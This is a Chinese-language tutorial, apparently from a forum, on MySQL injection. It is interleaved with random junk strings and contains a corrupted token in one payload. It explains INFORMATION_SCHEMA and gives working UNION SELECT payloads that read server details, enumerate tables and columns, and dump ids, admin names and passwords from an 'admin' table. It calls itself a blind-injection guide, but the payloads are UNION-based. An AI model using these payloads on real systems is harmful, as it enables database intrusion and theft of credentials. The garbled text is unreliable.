本文介绍MYSQL盲注的一些语句和方法
8 z' f9 h, d2 B/ _
1 \7 r5 T- B( R1 T) g: K学习盲注前先了解下 IFORMATION_SCHEMA 库5 p6 T( j5 Y7 ~* s9 v
* ^7 e! p0 E! @! E) [3 V" aMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
- B9 @ d( j# \! a' i! Y; M存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
w: A$ V# i m1.得到所有数据库名:
4 c3 |6 K( H/ E2 b' q+ W O|SCHEMATA ->存储数据库名的表
1 C$ A% `; d# ?- _|---字段:SCHEMA_NAME ->数据库名称: A+ |# h' a' J8 f, s
8 ^0 _6 O$ e8 x# r: `% S! y|TABLES ->存储表名
$ R5 @! Z0 J, e+ ^|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名$ F! Y4 R4 `/ L
|---字段:TABLE_NAME ->存储表的表名
% r B5 r/ Q2 V( H8 S; I, i. C$ _, v$ ]* j0 |8 S: c2 ]
|COLUMNS ->存储的字段名表
- k2 M: v5 V; Q& C. e|---字段:TABLE_SCHEMA ->该字段所属数据库名
( \/ s0 _9 ]5 c u|---字段:TABLE_NAME ->存储所属表的名称0 }& a8 y* v+ j/ w# g
. @" k% ^* R0 E* A* ~; \6 q; q+ G
|---字段:COLUMN_NAME ->该字段的名称. X; a5 S1 }; M# j- Z
" r, Y! g2 Q L4 y
" n4 ^# o$ ?4 g+ r
& M7 E9 c5 m1 s" ?###########################################################################9 a/ ?+ |1 R9 _ Z5 Z* s( f
: V- h! w0 o h- |6 u- q) ]
0x001 获取系统信息: Z. [0 w; u: a# H U" ^
- f1 k0 E5 ?; U7 j3 T: Wunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
) w! j) G. {- y2 ]) ?0 Y% S" j
9 k4 H, L5 k: S2 }/*5 }( `8 ~; B! j" s$ I6 K4 n1 K
/ t2 d6 Z! K5 U8 o1 l
@@global.version_compile_os 获取系统版本/ p% p% M$ {- e! ]7 P- S, B H
2 Y. I3 ^4 [9 w! k0 g
@@datadir 数据库路径
! M/ v/ k, S/ X: u8 i5 p( Ydatabase() 当前数据库名称/ v6 A+ w+ g7 N6 K! x
0x3c62723e 换行HEX值
) @$ K3 P/ G, G. M$ r5 k: n9 o# f1 o; r+ O9 E0 S: i
*/
' |' f7 M- [, S4 ]$ C7 k$ E7 U: i$ f i3 O+ a T/ A; Z" L
$ s& M) X6 n& E. J3 {! Z: U) |
7 L t3 v( r5 @######################################################################
5 h3 ~, E, x9 ^7 k' d1 u& s; ^% k O; c
0x002 获取表名
2 u4 q) q# d: r& k( |) o
7 c# J1 z" R4 `union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
* Y- |) {9 d' B( s) {9 M, ?6 Y) B5 ]+ p+ `
( U' \7 ^! F2 b/ B- R
# N& `4 \: W0 p& a5 m, l/*' `$ c3 v2 v' b# @
* z! ~; P! Y6 w) G+ {6 T1 |9 d& m [7 C
0x67617264656e 为当前数据库名* M' G* R. Y- ]1 m) e- C3 L
( `* B2 u1 v/ v( Tgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 Z f; O" Q4 |( y4 a; e. F6 g, s
: ^* h# u$ I; Z0 A*/
" y# z0 O, K% \7 W/ E; @. V2 r) {7 y, d9 V
######################################################################: H+ r; A' j c: F
' r$ E- G @# K
& d3 z$ u$ D* Y0 [0 h; g
% o, |! K, f0 W1 o* Z( X0x003 获取字段1 _* i, `, `% u2 r' [; N- R
8 [) P0 j& N% u5 Qunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
1 T0 r5 D- }, |3 X+ V/ P4 i% o1 S! L# @# D- e* M3 w, A
/*" Z& r6 D* U: {, k0 H
; A N( k% {& ?. ^( Z9 g) dgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
@0 K2 Q1 O$ W) u1 c+ |# D8 x9 u
5 w' g) [& f8 j3 o% m% O0x61646d696e ->选择一个表. J2 P2 U' [8 V* G0 U% V
2 U) W0 I6 Z4 F2 `) b& W( ]
0x67617264656e ->数据库名/ N$ S. l" P& t7 `' M8 ]) y
6 U$ B* D4 r8 B( @0 N*/
/ x+ z6 }. P4 i2 ?7 H/ {# ^
3 x( K( g+ h8 A5 f! W#####################################################################0 s7 `8 O- O! p, b6 z
# Z" W5 h# t5 ?9 U* H
. f; n1 ~8 y' s) b. x V+ w, N. j% {, E: x* f! Y/ l; `3 c* ]5 F
0x004 获取数据
9 m1 D* g* k0 e$ k
4 g8 f; b. i8 J1 }" qunion select 1,2,3 t$ k0 o3 C9 ]- ^' n+ f0 y
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
, }$ h- s5 Q7 @: b8 h6 F: D: P$ {; f1 d3 H6 ]7 [
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
4 M# p* T- O6 M. p3 |5 q t' A# i0 {# R: ~6 M: p2 i& K
# a+ h* z" G5 h
0 j1 ]- `; }. J; c. w
/*
9 L/ e$ ]3 z9 V9 A+ k8 ]8 p& |0 g" r- ^% R6 {3 P) Z. l; j) O
0x3c62723e 换行符号HEX编码8 C: F0 P7 k7 {0 }" h6 p+ T
7 Z* M: V' ~, d, h
group_concat 同时获得该字段所有数据
) T( h& n8 j3 e) L% m2 i3 X/ x# v9 c# v* @$ V, r
*/
- P' r2 S/ k" {1 H% E; i
' Z7 V V9 [0 u |